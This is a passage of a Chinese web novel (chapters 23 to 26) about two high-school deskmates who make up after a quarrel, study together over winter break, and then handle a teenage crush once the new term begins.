方良平有一套自己的歪理, 他轻易不夸奖方敏周,担心夸多了让她骄傲,眼下也找她谈话:既然放假了, 就让自己休息一会,学习固然重要, 但也要劳逸结合。 “寒假没有和哪个同学约好出去玩一玩吗?高二的,或者高一,和你同桌的那个女孩子, 元月呢?” 方敏周说:“她去旅游了。” 她爸沉默了会,又开始长篇大论,说她应该多积极和班上的同学交流,不要独来独往的,这个年纪交到的朋友是一辈子的财富…… 方敏周自认为自己不是一个多爱说话的人,但此刻,她突然觉得她也有遗传到她爸的说教和唠叨。她想起那天在公交车站,王衎可能也觉得她说话烦人。 他们之间几次争执,是是非非、对对错错,其实都是好心,但都没做成好事。意识到这点后,方敏周忽然就有点泄劲了,好像自己在做很无用的事情。虽然她还是会觉得,她生气是情有可原,王衎生气是无理取闹。 既然他也不想被安慰,期中考的时候为什么要来说好话?既然他口口声声说着要放轻松,为什么她这么说了他又生气? 至于她爸的这些话听听就罢了,方敏周还是得抓紧时间写乍一看根本完成不了的寒假作业,因为按照以往的情况,等到正月跟着爸妈到处拜年,她不仅没有时间写作业,还要辅导其他弟弟妹妹功课。 今年的情形也的确如此。 寒假过半,欧阳茜约方敏周去花鸟市场,方敏周在爸妈的支持和欣慰下出了门。 方敏周上一次来花鸟市场还是小学,自然课期末作业要求上交一篇有关植物或者动物的观察日记,于是爸爸带她来买了几尾小金鱼回家。 时隔多年,市场还是方敏周记忆里的模样,正值新春,挂上了春联和红灯笼,整个市场喜气洋洋的。 方敏周本来以为欧阳茜是来买东西,但欧阳茜仅仅四处溜达,反而在听她说要买几盆多肉时,带她到了一家巷子里的小店。 小店店主是一对年轻情侣,又是欧阳茜认识的人。 方敏周奇怪,小声开玩笑:“你不是来拉人头的吧?” “哪能啊。”欧阳茜笑,“我是来找人的,不过——”她打量了一圈不大的店面,“人不在。” 方敏周刚想问找谁,猜到了,不禁嘀咕:“那也不用拉上我呀。” “这不显得目的性没那么强嘛。” 方敏周对此存疑。 不想拎太重,方敏周最后只挑了两盆多肉,店主姐姐又送了她和欧阳茜一束花。走之前,欧阳茜状似不经意地问:“阿亮哥饭店开业,我小姨应该会送花蓝过去吧?” “那肯定要送。”店主姐姐说,“到时候你带着你同学一起来呗。” 方敏周陪着欧阳茜客气礼貌应着,出了店门,她直说她这个约她陪不了,欧阳茜笑:“知道知道。” “你小姨……”方敏周有点好奇,“好像做过很多工作?” “她高中毕业就开始打工了,认识的人也多,有的时候就互相帮帮忙什么的。” “她几岁?” 欧阳茜:“二十六七八九吧。” 方敏周:“……” 欧阳茜轻描淡写,方敏周便跟着淡定,而欧阳茜显然知道自己在说什么惊世骇俗的事情,朝方敏周眨眨眼,“走,再逛逛,我请你吃糖葫芦。” 裹上糖浆的山楂酸酸甜甜的,方敏周问欧阳茜:“你小姨在不在,你不能直接问她吗?” “问啊,但她不跟我说,所以我就乱找啊乱找。” “为什么不跟你说?” “她不怎么理我的。” 方敏周对欧阳茜和她小姨之间的关系很是疑惑。 “我小时候和她关系还挺好的,她在我家借住过一段时间,那时候我爸妈工作忙,都是她送我上下学,长大之后嘛……就不行了。” 欧阳茜始终一副无所谓的样子,以至于让方敏周心想,也许这都只是寻常不过的家长里短。 “你觉得我恶心吗?”欧阳茜突然问她。 方敏周猛地摇头,“不会啊。” 欧阳茜一笑:“你别担心,我查了资料,网上说我这可能就是一种常见的心理过渡现象,虽然我觉得不是,哈哈——但过段时间,可能等我上大学了,就好了。” 方敏周忽然觉得她并不了解欧阳茜,但这个认识,又好像让她更靠近了她一点。 她不知道欧阳茜为什么会和她说这个秘密,也许只是像她之前说的,憋得难受,所以想要找个信得过的人倾诉。 至于为什么是她,可能是沾了和她小姨名字类似的光,但方敏周还是有些感动于欧阳茜对她的信任,就像高一的时候,元月也是很放心地同她说起她的事情。 能够信任别人的人,是勇敢的。 喜欢,也是一种勇气。 礼尚往来,方敏周觉得她也应该和欧阳茜分享一下她的“秘密”,但欧阳茜看出她的心思,不以为然,“你想说就说,不想说就不用说。你可能不信,但我其实真的不是一个八卦的人。” 方敏周默了默后笑道:“我信。” 所以她真的没有了解过欧阳茜,她曾经觉得欧阳茜热闹,但很多时候她只是背着手在看热闹而已。 方敏周最后也就什么都没说,因为,本来也不值一提。 从花鸟市场出来沿着道路一直走,就是市中心的人民路,没有想看的电影,方敏周和欧阳茜把巷弄里的精品店一一逛过,各自买了些小玩意,经过一年四季都是学生的新华书店,对了个眼神,顺理成章进去看看。 书店一楼主要是卖各类商品的,二楼卖畅销书和小学教辅,也卖吃的,空气里飘着烤肠和奶茶咖啡的香气。 方敏周和欧阳茜各自挑了书看了会,准备走前,再到楼上看看。 刚到三楼,迎面碰上郑彦航和吴丞,方敏周心里顿时有了不详的预感。 郑彦航:“这么巧?” 吴丞抬手打了个招呼。 “你来买书啊?”欧阳茜说郑彦航,像是发现新大陆。 “我没有。”郑彦航坚定维护自己的形象,“我陪他们来的。” 木已成舟,方敏周撇了撇嘴。 王衎边低头翻看手里的教辅边走过来,“我好了,你们好了没?” 说完抬起头,与方敏周的目光碰个正着。他脑袋一懵,下意识地就把书藏在身后。 这当然是一个错误的动作,欧阳茜直言不讳:“买的什么,还藏着掖着?” 王衎:“……” 至此,他假装无事发生般地把书重新拿到面前,“随便买买。” 一册理综练习卷,一本英语文法练习。 方敏周盯着那本淡蓝色英语教辅好几秒,确认就是她之前想要送给他的那本后,她这才正视王衎,心里浮上一声毫不客气的冷笑。 要是有个洞,王衎现在想直接掉到一楼去,偏偏还有个郑彦航拆他的台,附和欧阳茜:“你们不知道,他寒假都在家里偷偷学习,喊他……” 王衎语带威胁:“郑彦航。” 郑彦航不听:“……出来玩都不出来,比吴丞还难叫出来。难得出来一趟,还说要来书店。” 欧阳茜:“啧啧啧。” 王衎:“……” 他想死,但要拉着郑彦航一起死。 吴丞看出王衎在压脾气,帮他解围,问欧阳茜和方敏周:“你们买了什么?” 欧阳茜没买东西,方敏周怀里倒是有一本畅销,郑彦航忍不住,不怕死地又补了句:“那看来王衎是我们当中最爱学习的那个。” 王衎但笑不语。要不是方敏周在,他真的要揍郑彦航一顿。 也是他没和任何人说他和方敏周吵架的事情,郑彦航估计还觉得是在帮他改变形象,却不知道他现在是丢脸丢到家了。 十天半个月没见,想过很多,却没想过是这个下场。 期末考结束后,王衎最担心的事就是方敏周要换同桌,毕竟是他没有考到自己承诺的成绩,但他真的努力了,而且他是有进步的,他下次一定能考得更好,但是,他也不知道该说什么去挽留她。 离校那天看到她,跟上去,自恋地觉得她可能是在等他。好像真的是,还要送他礼物,他以为那是心意相通的时刻——是他期望太高,方敏周的礼物和她的话,让他感到难堪。 他在她眼里,就是个失败的人,是一个不自量力的差生。 尽管他最后不应该冲她发脾气。 Q/Q一天到晚登着,方敏周只会在晚上七八点左右登录,聊天框点点关关,王衎始终没好意思。 他感觉得到,方敏周其实对他没什么意思,也许有一点,但那只是因为她心软又想很多,虽然她时常对自己凶神恶煞的。 一切都让王衎很挫败,想来想去,证明自己的机会好像只有开学考了。 而如今,最后的机会似乎也没了。 走出书店,华灯初上,方敏周和其他人都不顺路,郑彦航约她下次一起出来唱K,她口头上应应。 对于王衎跟过来这件事情,方敏周意外也不意外,就是不知道其他人有没有看到,不然又要误会。 王衎清了清喉咙。 方敏周当他这个人不存在。 “方敏周。” 车水马龙的喧嚣里,方敏周依然不想理他。 看他又要乱说些什么。 来了一辆公交,车站的人一下子少了许多。没了阳光,夜风冷冰冰的。方敏周单肩背包,一手拎着袋子,一手插在羽绒服的口袋里,她听到王衎先是问“重吗”,再是说:“我不想换位置。” 方敏周一愣,看向他。 “虽然我这次期末考没有考到段一百,但……”王衎低着头说,忽地抬起眼看了看她,又垂下,“再给一次机会呗?说不定我下次就考到了。” 方敏周的手指捏紧了。 是这样的,他最初是这么说的,考到段前一百就继续坐同桌什么的,但是后来她自己回到前五,就只记得王衎夸下海口要考前一百的目标,哪里会想到他在担心换同桌的事情。 ……本来就没有说要换啊。 怎么这么傻。 见方敏周一直不说话,王衎更紧张,“……你还在生气?那天在车站……我不是故意的,我就是……对不起。” 他还是这样,什么情绪都写在脸上,现在他是在委屈?还是害怕?还是难过。 方敏周光顾着生王衎的气,却从未想过他道歉,这会儿突然变得无措茫然。 他人道歉,好像就两个选择,原谅和不原谅。 但她其实从来没有想过这一步。 “我没和詹老师说……换位子。” 王衎愣了愣,反应过来后,像是高兴又不太敢高兴,呆板地“哦”了声。 “但是下学期开学,我不知道老师会不会换位子。” “可能会看开学考成绩。”王衎接道。 “……嗯。” “所以我在复习了。” “……” “我开学考一定能考好的。” “你自己……努力了就行了。”方敏周不想再被王衎盯着看,只有自己避开他的目光,“我车来了。” 公交车停下,又听到身后王衎喊道:“我如果有不懂的题目可以Q/Q上问你吗?” 方敏周心里叫了一声,他说的好像他真的有多喜欢学习一样,但还是撇下“可以”两个字,匆匆上车。 在窗边坐下,玻璃被之前的人抹去了雾气,她一下子就看到傻笑地向她挥手的王衎。 人和人之间的关系多脆弱,太阳照着,是夏天的冰激凌化了,冬天的糖葫芦糖霜化了,但吃进嘴里的甜总还是记着,有时觉得黏腻,擦去了,又惦上。 王衎在Q/Q上问方敏周题目,提示音响个不停,真吵。 王衎:那你当面教我呗 方敏周:……不要 王衎:我请你吃饭 王衎:你想吃什么 王衎:周六你有空吗 王衎:其他时间也行,我都有空 他自顾自地发消息,气泡占了满屏,停了一会,发了个“在吗”的表情包,大大的问号顶在脑袋上。 方敏周感觉不妙,这种恼着恼着却会笑起来的感觉,莫名其妙却令人飘飘乎乎,她都觉得不是她了。 方敏周:你作业写完了没有? 王衎:还差一点 王衎:我在写了,马上写完 王衎:我写完找你校对可以不? 好一会儿,方敏周回复:等你写完再说吧 王衎:好哦,到时候别又耍赖 方敏周被气笑,谁跟他玩过家家呢。 第24章 第 24 章 坐在肯德基…… 坐在肯德基的角落, 徐冉左看看右看看,然后拽了拽旁边王衎的衣袖,悄悄指向隔了一张桌子的一对母子。 王衎看过去, 那个男孩看起来和徐冉差不多大, 桌上摆得满当当的, 正在大吃鸡块。 “你这不是有吗?”王衎把小食拼盘拿到徐冉面前。 徐冉摇头不语。 王衎:“……” 这小屁孩, 要不是有人在……王衎挤出和善的笑脸:“不要鸡块, 那你要什么?” “我还想要个美羊羊。” 王衎嘴角掉下来,“买的时候不是和你说了吗,玩具只能选一个, 你已经选了喜羊羊了。” 徐冉嘟嘴。 “要么我帮你去问问,给你换一个。“ “……可是我两个都想要。” 王衎沉声, “徐冉。” “再买个套餐吧,我来买。”对面的方敏周忽然开口。 “不是——”王衎一慌, 怕方敏周误会他小气, “你不用理她, 她什么都要……” 方敏周说着“没事”就要站起来, 王衎忙站起身拦住她, “不用不用, 我去买我去买。” 临走前偷偷瞪了徐冉一眼,徐冉已经换上了一张笑脸,甜甜地说:“谢谢舅舅。”又看向方敏周, “谢谢姐姐。” 这辈分称呼叫的王衎心里奇奇怪怪的,再看到方敏周对着徐冉笑, 更加呕血。 掏钱付账,真不是他小气,但这样下去实在不是长久之计。 想他借着寒假作业写完的由头, 好不容易约方敏周在市图书馆见了一面,知道她时不时会来这个地方自习,他也就不请自来了。次数一多,方敏周还没说什么,他妈反而先起了疑心,骂他三天打鱼两天晒网,以为终于好好学习了,又搞七搞八,“出去玩就出去玩,还背书包,装什么装,还不让你出去了?” 王衎真无语。 他并非不能光明正大地和他妈说他真的是去学习的,还是和您倍儿欣赏的方敏周方同学,但鉴于之前她老人家的热情,王衎一点也不想在他妈面前提起方敏周,于是拿郑彦航和吴丞打掩护,现在拿徐冉,“我带她出去玩。” ——把人往少儿图书室一放,再买点吃的堵住嘴,很好搞定,但这小鬼现在胃口越来越大,这是吃准了他敲诈呢。 不过徐冉有一个额外的附加价值,每次只要他带着她,方敏周对他的态度好像也能温柔一点,有时还能像现在这样吃个晚饭什么的,今天这顿肯德基就是徐冉要来的,王衎没辙,只能心甘情愿买单。 好在马上就要开学了。 王衎端着餐盘回到座位,徐冉迫不及待就要拿玩具,王衎赶紧抢过来高高举起,徐冉急坏了,拉长音叫道:“舅舅——” 王衎正想趁机教育一下徐冉,方敏周却说他:“你别这么幼稚好不好?给她吧。” 王衎指了指自己,哑口无言,不是都说小孩子不能乱惯吗? 深吸了口气,把美羊羊塞给徐冉让她凑对。 徐冉爱不释手,方敏周看她这个样子,忍不住说了句:“真可爱。” 王衎深表怀疑。 但看到方敏周脸上宠溺的微笑,他吞下了嘲讽的话,不过十分纳闷徐冉到底哪里可爱?难不成就看她是个小女孩?如果是看脸,他和徐冉既然有血缘关系,看起来多少也有点像吧,也没见方敏周对他多笑笑。 喏,又瞪过来了。 王衎的人生字典里大概没有“见好就收”这个成语,方敏周每每已经尽量忽视他的目光了,他还是要等她发火了才收敛。 不管王衎怎么想的,他说要学习,她也就帮他,换做其他同学她也会这么做。至于其他的东西……不重要,她也不想去想太多,就当作晚自习困倦了的时候,含进嘴里的一颗糖。 吃点零食小小地放松一下,小小地补充一点能量,然后更好地集中注意力学习,算不上违规违纪,但老偷吃零食就完蛋了。 方敏周稍微坐直了点,看向王衎,说回正事,帮他分析这段时间以来他学习上的种种问题。 马上就要开学,方敏周明天约了元月,王衎家里也有事,不出意外,这是他们这个寒假里最后一次见面。 时间过得真快。 冷了大半个月,却在最近频频见面。 “化学那道锂电池材料的题目,上学期期末考就有类似的,开学考可能还会考,你不要再做错了。”该讲得都讲了,方敏周一边吃薯条一边做最后的提醒。 “Yes,madam。”王衎敬了个礼。 方敏周不满:“喂。” “叫你madam也不行啊?”王衎看出方敏周不好意思,反而故意凑近闹她。 距离一下子太近,方敏周一惊,手上拿着的一根薯条下意识地挥了出去,不料蹭了王衎一鼻尖番茄酱。 两人俱是一愣,王衎眨巴眨巴眼,视线往下,集中看向自己的鼻子,眼睛都要变成斗鸡眼,旁边的徐冉哈哈大笑起来:“舅舅变成了小丑!” 方敏周忍俊不禁,又很不好意思,连忙拿了纸巾给他。 手伸到他面前,王衎却先一步闭上了眼睛,长睫毛垂着,眼皮微颤,甚至嘴唇看起来都是翘翘的。方敏周手一顿,身体先于大脑思考,轻轻擦去了王衎鼻子上的番茄酱。 王衎憋着笑皱了皱脸,随后睁开眼睛。 他黑亮的眼睛带有一丝挑衅的笑意,似乎就是要看看她是什么反应,但一瞬不瞬的,说是挑衅,更像是盯稳了她,方敏周的心绷得紧紧的,像一根被拉到极限的橡皮筋,那想象中所预知的疼痛,除了会让她疼痛,好像也会让她清醒,令她不敢松开。 徐冉的玩具突然横冲直撞,方敏周面不改色地回过神,把手里的纸巾丢给王衎。 王衎手忙脚乱接到,讪讪地再擦了下鼻子,再问方敏周:“还有没有?” “……没了。” 这会儿四目相对,莫名就有点尴尬了,似而非是地各自避开。 方敏周继续吃薯条,把还能想到的王衎需要留心的问题说给他听,她最无语的是他写化学公式还会忘记沉淀符号,“……对了还有,你英文字能不能写好看一点?” 明明中文写得还行,为什么英文写得跟狗爬一样?没听王衎应声,她抬头一看,见他又盯着她看,方敏周沉下脸。 王衎却指了指他自己的嘴唇,“你怎么吃的?” 方敏周一愣,拿纸巾一擦,还真沾到了番茄酱。 方敏周:“……” 她脸颊发烫,喝了口冰可乐。 还好王衎没有洋洋得意,倒是也不自然地摸了摸鼻子。 好一会儿,方敏周问王衎:“我刚说的你都听到了吗?” “听到了啊。”王衎说,说白了也就是看书刷题复习错题三件套,但是方敏周是建议他这几天可以先不用刷题了,“你让我把错题分分类,看哪些是低级的哪些是有难度的,然后……看书,书看完了自己理个思维导图。” 还有什么? 徐冉左手美羊羊、右手喜羊羊,脆生生地说:“写英语的时候字要写好看一点。” 说完,一脸讨赏似得朝着方敏周甜笑,方敏周也真朝徐冉竖起大拇指鼓励。 王衎:“……” 都吃好后,王衎后面给徐冉买的儿童套餐基本没动,便要了袋子打包。袋子递给方敏周,方敏周不要,“给冉冉啊。” “她妈不让她吃肯德基。”说到这,王衎叮嘱徐冉把玩具藏好,最好不要让她妈发现,要是真的被发现了,就说是他送的。 徐冉乖乖点头。 再一看方敏周,似乎有点做错了事的不安,王衎笑了,“没事,偶尔吃一顿而已,还有两个蛋挞呢,你真不要?” 方敏周摇头。 王衎脑筋一转,“不会你爸妈也不让你吃肯德基吧?” “……可以吃。” 但最好不要多吃。 方敏周说话底气略有不足,而王衎一副看透了表情,她有点窘,转而问王衎一共多少钱。 “不用,我……” “多少?” 王衎无奈。 他一次请客都没有成功过,都是AA,在图书馆不能说话,要说话也围绕学习,这样一想,早点开学也不是不行,但此时此刻比起下一次见面,他先是见不到她。 “方敏周。“ “嗯?” “如果……”王衎犹犹豫豫地开口。 无论如何,方敏周帮他复习了小半个月,虽然他也不觉得她有多热心肠,但要说是什么其他原因……他也没什么自信,而开学考怎么说也算是一次验收成果。 “我是想说,“他咳了咳,还是换作开玩笑的轻松语气,“万一我开学考没考好……” 方敏周眉头一皱,就要批评他这种畏难情绪:还没考,就灭自己威风,但转念想到他之前的丧气,便忽然明白了他的意思。 “……考不好就考不好呗。“她说。 王衎松了一口气。 这口气松得太明显,方敏周又怀疑他其实真的只是在提前找借口,不禁认真地想要告诉他:“但就算只是开学考……" 王衎抢白:“我知道,就算是开学考也很重要,放心,我一定好好考。” 方敏周一直到车来,王衎说开学见,她才回了一句。 小小的徐冉也高挥着手臂:“姐姐拜拜,下次见。” 方敏周笑,一眼掠过旁白的人,“拜拜,下次见。” 第25章 第 25 章 王衎开学考…… 王衎开学考如愿以偿进入了年级前一百, 段89,甚至比方敏周预期得还高一点。 他是认真复习了,但也是运气好, 猜中了好几道得分率极低的选择题, 这次试卷又刚好考到一些她寒假提及过的细微知识点, 总而言之, 他下次考试就不一定这么幸运了。 但看王衎几乎要放鞭炮庆祝的样子, 方敏周也不好扫他的兴。 主要她自己也挺高兴,除了教学得到了成果,她自己考得更好, 班级第三。高中生活过半,终于有一次考进了段前二十, 也算是新春开门红? 不过她表面上还是很淡定从容的,不忘提醒自己要戒骄戒躁, 虽然被王衎调侃干嘛这么谦虚, 但谁和他一样? 孙彤也没他猖狂。 说起来, 班级第一又是孙彤, 方敏周佩服之余, 不禁暗暗比较她们之间缩小了的分数差距。 寒假那天, 王衎试探着问她要是他开学考没考好怎么办,她嘴上态度随意,说只是开学考, 坐在回家的公交车上,却第一次考虑到这是个蛮严峻的问题:要是她没考好…… ——那么她会和詹老师申请换位子。 方敏周几乎没有细想就做出了这个决定, 不能犹豫的决定。 不同于上学期期中考的情况,那时她不服气地要证明自己不会受到王衎的影响,她也做到了, 可万一再考差,她还要接着证明吗?继续用不换同桌的方式? 那最后,到底是要证明什么? 不管她愿不愿意承认,方敏周清楚,同样的理由,但目的已经不再纯粹。她觉得她没有任何越界的行为,其实是在自欺欺人,只有已经濒临边缘的人,才会强调自己没有真的犯错。 所以,如果她考差了,她一定要理智地赶快回头。这个假期她都有在认真学习,开学考的难度一般也不会很高,考不好,实在说不过去。 成绩会最客观地告诉她,她是否有资格上课偷吃糖果。 于是,原本在她眼里只是一般等级的开学考,一下子变成了让她紧张的考试。 还好考得不错,詹老师也没说要不要换位子。方敏周也是这时候才想明白,以詹老师多一事不如少一事的个性,如非必要,她是懒得组织再换一次座位的。 但还是有需要注意的。 寒假末在市图书馆的那两周,她和王衎坐在角落桌子的两端,周边没有人认识他们,加上图书馆自有的肃静氛围,那对方敏周来说是一个相对安全的环境,所以她放纵了王衎,也放纵了自己。 可是回到学校后就不一样了,他们的一举一动、一言一行都在几十双眼睛的注视下。现在两个人乍一看都进步显著,看起来好像还有她的功劳——虽然的确有啦,但方敏周怕被扯上事端,尽管严格意义上,她和王衎是清白的。 可王衎全然没有戒备意识,开学考考完整个人就傻乐,上课瞥她,下了课想找她聊天,这天晚自习还给她带了一杯奶茶。 教室里人不多,也没有谁投来异样的目光,方敏周却整个背都硬了。 在大部分同学眼里,她和王衎应该是矛盾重重的,毕竟那次自习课的争执让人印象深刻,甚至方敏周自己也这么觉得。 前后排的朋友们虽然……但也并不清楚他们之间到底发生了什么。 他们需要保持距离,就好像寒假不曾多见过面一样。 方敏周把奶茶放回到王衎桌上。 王衎只当她又是客气,“方老师,就当你帮我补习的学费咯。” 他这一说话,就有同学看过来了,方敏周顿时觉得自己变成了一个靶子。她要是因为一杯奶茶就和王衎吵架,似乎更加可疑,但她实在不想喝,她把奶茶推给欧阳茜。 “我下次请你喝。”王衎对欧阳茜说。 欧阳茜看懂了王衎的眼色,也看懂了方敏周的脸色。 看戏要有瓜子花生火腿肠,都没有,有杯奶茶也好,而且她怎么说,也要站在方敏周这边,所以欧阳茜笑嘻嘻地用吸管戳破了奶茶的封口膜。 “啪“的清脆的爆破声,同样戳破了王衎的粉色泡泡。 好吧,他承认自己是有点得意忘形了,但方敏周是什么意思? “你这是在避嫌?”学校侧门出来的林荫小路,只有他们两个人。 王衎跟在方敏周后面,踩她长长的影子。晚自习结束了,他要讨个说法。 多雾的冬夜,湿润悄寂, “我们俩也没什么嫌好避的吧?我们又没干什么,请你喝杯奶茶都不行,和你说话你也不理我,那我之后问你问题呢?”王衎抱怨,本来是夸大,但演着演着还真有点委屈,他考得算不错了吧,方敏周也没点表示,“那要是我下次考差了,你是不是又要……” 在距离车站还有一段距离的一棵街角的树下,方敏周转过身,王衎也停下。 “王衎。”方敏周喊他,她已经想好了要和他说什么。 “……嗯。”王衎喉结一动。 路灯光线昏黄,要融化了似的。 方敏周微微叹了口气,“你学习是给自己学的。” 王衎:“……” 说实话,方敏周这话说得他有点想笑,这什么老土的台词?但她的表情好严肃,他也只好宣誓般认真地回:“嗯,我知道。” “你有问题可以问我,但是……”方敏周欲言又止,虽然早就组织好了语言,但真要说,她还是有点羞耻。 王衎一口气屏了大半天,还没等到下半句话,没了耐心,真要是斩首令牌也认了,“但是什么,你说话别大喘气好不好?” 方敏周立刻瞪了他一眼,但又移开目光,声音飘过来:“……我高中不打算谈恋爱。” 王衎脑袋是空白的,调笑的话脱口而出:“不打算的意思是,具体看情况也不是不可能?” 方敏周那丁点耻意瞬间烟消云散。 本来她还设想了万一王衎嘴硬说他没有这个意思怎么办——他要是这么说,她一定和他一刀两断,但他比她预想的还要厚脸皮。 她只是委婉,不是和他玩文字游戏。 “我高中不会谈恋爱。“方敏周用力纠正。 王衎“哦”了一声。 怎么说呢…… 这比他能想到的最坏结果好太多。 像方敏周这样的乖乖牌,肯定是不敢早恋的。给她一个选择,她要坐在树下被苹果砸,而绝不会去偷吃苹果,他早就猜到了。 她如果说她不喜欢他,那他才会真的有点伤心——虽然他不信。 在现在的这一分钟这一刻,他不相信方敏周一点都不喜欢自己,就算只有一点,也是喜欢。 王衎的平静出乎方敏周意外,意外之后,她不禁暗骂自己自恋,不然她想看他怎么样? “那你计划什么时候谈?”王衎慢悠悠地开口,“高中毕业那一瞬间那一刹那?” 方敏周:“……” 不想理他。 “我知道,你怕早恋影响学习呗。不过你不觉得这个结论很没有科学依据吗?” 方敏周被王衎荒谬至极的话惊呆。 “你看啊——有的人抽烟打牌谈恋爱,天天玩,成绩还是很好,有的人很认真的学了,也不一定考得很好,每个人的情况都不一样。你要是觉得早恋会影响学习,那你得先自己早恋过,通过对比实验才能得到结果。”他说得声情并茂、有理有据,越说方敏周的脸色越难看,王衎笑一笑,很有分寸,“不过我知道你的意思,那你……也不和别人谈就行了。” 什么啊,方敏周心口一跳,这根本不是她的意思,“你管我?” “诶,你自己说的,高中不谈恋爱。” 方敏周急了,“你能不能把心思放在学习上面?” “我放了啊,那学习之外,总还要睡觉吧,总还要吃饭吧,总还要稍微休息一下吧,那……”最后几个字他语焉不详。 方敏周说不过他,扭头就走。 王衎一步跟上,一半认真一半无赖,“干嘛,我说得不对吗?那你说呢,你想我怎么样?我自己又控制不了……要么你就让我连问题都不准问你一下,不过我们两个好歹也还是同桌……” 方敏周猛地转身,王衎差点撞上她,而她毫不避让,是真气到了:“我们两个就只是同桌关系而已!你在学校不要说些有的没的,不准给我送东西,还有,不准跟着我回家!” “……那我就是要去我亲戚家呢?” “你哪个亲戚?” “我就是有个亲戚。” “鬼信你。”方敏周撂下狠话,“别跟过来了!” 王衎双手投降,听话站在原地,看着方敏周马尾辫一甩一甩地走远,摸摸脖子笑了笑。 回到家,方敏周气也没顺平,妈妈问她要不要吃夜宵,她说不要,先去洗了澡。 吹干头发冷静了点后,又开始懊悔,盘腿坐在床上发呆。 赵宁英敲门进来看到这一幕不禁笑了,“怎么了这是,太累了?” “没有……”方敏周说。 “作业都写完了就早点睡觉,不要天天熬那么晚。”赵宁英说,把牛奶放到桌上,方敏周点点头。 喝牛奶的时候打开手机,方敏周收到一条陌生号码的短信: 方敏周同学, 你好! 我是你这学期的同桌王衎,这是我的手机号码(不要拉黑我,记得存一下哈^_^ 你刚才说的同桌相处行为准则,我觉得非常有道理,不过我还是想要补充一点我的个人意见:良好的同桌关系,除了学习上互帮互助以外,日常生活中也应该互相交流、互相理解,所以同桌之间彼此关心、偶尔送点礼物(比如奶茶)是友好的表现,有助于增进友谊、共同成长,你觉得呢? 以上建议,希望你能酌情参考。 你的同桌: 王衎 第26章 第 26 章 方敏周晚上没太睡好…… 方敏周晚上没太睡好, 第二天天蒙蒙亮就醒了,所幸更早起床去上学。到了教室,除了惯常早到的住校生外, 王衎居然比她更早, 带着耳机在看英语书, 不过眼睛是闭着的。 方敏周笑也不是, 叫醒他也不是, 在旁边站了好一会儿,直到王衎若有所觉地半睁眼睛,“……你来啦。” 打着哈欠摘下耳机, 起身,让方敏周进去。 方敏周这才发现她的桌角有一个草莓小蛋糕。 方敏周:“……” 她有点生气地把蛋糕放到王衎的书堆上 “嗯?”王衎反应过来后靠向椅背, 懒洋洋地坏笑,“这不是我送的。” 方敏周脸上就三个字:听你骗。 “真不是我送的, 你隔壁八班朋友送的。” ……元月? 这下方敏周进退两难, 她信还是不信都很尴尬:信了, 说明刚才是她自作多情;不信, 但如果真是元月送的, 那更加丢脸。 王衎看着方敏周故作冷漠但无声泛红的脸, 昨晚因为睡不着觉而打了半夜游戏的瞌睡都没了,心情非常愉悦,善解人意地把蛋糕放回到方敏周的桌上, 靠近她,低声道:“你也可以当作是我送的, 我倒是想送,但怕撞你枪口上。” 男生身上的气息像火舌似得舔过来,方敏周呼吸微滞, 整个人往另一边倒,面不改色地拉开距离,再斜眼看王衎,用眼神警告他,王衎撇撇嘴,坐正身体。 有女生注意到动静看过来,不知真吵假吵,但鉴于前车之鉴,开玩笑地说:“王衎,你怎么一大早就惹你同桌生气啊?” “我可没有,我哪里敢。”王衎说。 “敏周,什么时候换位子,我和老师申请我们两个坐。” 王衎心里咯噔一下,方敏周则毫不犹豫地应和:“好啊。” 余光注意到王衎一脸吃瘪,心情瞬间灿烂,笑得更开。 这个时候孙彤竟也回头看了他们一眼,依旧的面无表情,方敏周一愣,以为是打扰到她学习了,立刻有些尴尬地收起了笑脸。 莫名还有种被看穿的不安。 教室重新安静下来后,方敏周收到王衎传过来的纸条:你不是说真的吧? 她还没想好怎么处理这张纸条,王衎又传过来一张:声东击西知道吗?我们表面上装吵架的样子,不就不会有人怀疑了吗。 方敏周心想,谁要和你声东击西,但忽然想起一件事,所以她回了王衎一句:你怎么知道我手机号码的? 王衎终于得到方敏周回应,刷刷刷地回得飞快,但传过来的纸条却是:你看到短信了?那怎么不回我? 方敏周:…… 没有声东击西,只有鸡同鸭讲。 她拿出书本,王衎见状,把纸条拿回去,再递过来,她的那句话旁边多了两个被圈起来两个大字和一个感叹号:秘密! 方敏周再一次把纸条撕了扔进垃圾袋里。 中午,方敏周和元月到校外吃面,得知蛋糕确实是元月送的后,方敏周把脸埋在了面碗里。 “所以你为什么觉得是你同桌送的呀?”得知前因后果,元月不由得问。 “……就以为是他送的呗。” 元月:“哦……那你和你同桌现在关系还挺好的。” 方敏周:“……” 要不是她够了解元月,她会觉得她在故意打趣她。 “……就那样吧。”方敏周说。 “那很好啊,你不知道,我每次看到你同桌都好尴尬。”提起往事,元月仍心有戚戚。 方敏周失笑:“那都多久以前的事情了。” 元月还要说什么,忽然像是看到了谁,抿了抿嘴,有点羞涩地对方敏周后面笑了笑。 背对着店门的方敏周好奇转过头。 正值饭点,她们来的巧,刚好还有一张靠近收银台和后厨的两人位小桌,而现在店铺两排桌子之间已经排起队伍。 元月打招呼的,应该是队伍里那个戴眼镜的男生,元月的后桌,叫什么来着……沈路明。 元月起初只“我后桌”地称呼他,后来方敏周才知道他的名字,觉得耳熟,有一次考完试突然想起来原因:高一还没分班的时候,这人每次都是年级前几名。 元月说“我后桌成绩很好”的时候,方敏周还有点不信来着,以为她情人眼里出西施,旁敲侧击地提醒她要以学习为重,元月笑她怎么和她哥一样。 那边,沈路明也向她们腼腆微笑致意。 方敏周再转过身,就见元月整张脸都红了,热气腾腾的小店里,就他们像结在树上的两颗青涩果实。 方敏周觉得好笑也觉得可爱,再去看沈路明时,视线尽头的店门被从外面拉开,几个男生毛毛躁躁地闯进来,其中一个拉下卫衣帽子,头发簇立,眉目清晰,发现店里人满为患,仰起头夸张地长叹。 紧接着,方敏周也不知道王衎怎么一眼就望向了她这儿,眼睛一亮,好像发现了新大陆。方敏周则连忙回过头,想要调侃元月的话都忘了,反倒是被元月关心:“怎么了?” 方敏周吃着面摇头。 元月奇怪地往店里一看,一下子明了了。她看到王衎表面上跟旁边的朋友聊天,实际眼睛直往她们这儿斜。她视线再悄悄偏移,看到离收银台越来越近,也离她越来越近的沈路明。 他们的视线像两只鸡蛋一样轻轻碰了碰,似乎这样就能听见对方的心跳。 方敏周觉得这场面很滑稽,头疼地抱怨了句:“这店也太小了。” 不料被端着餐具回厨房的阿姨路过听见,“不好意思啊小姑娘,”阿姨直爽大,嗓门又大,“店小,大家多照顾一下哈!” 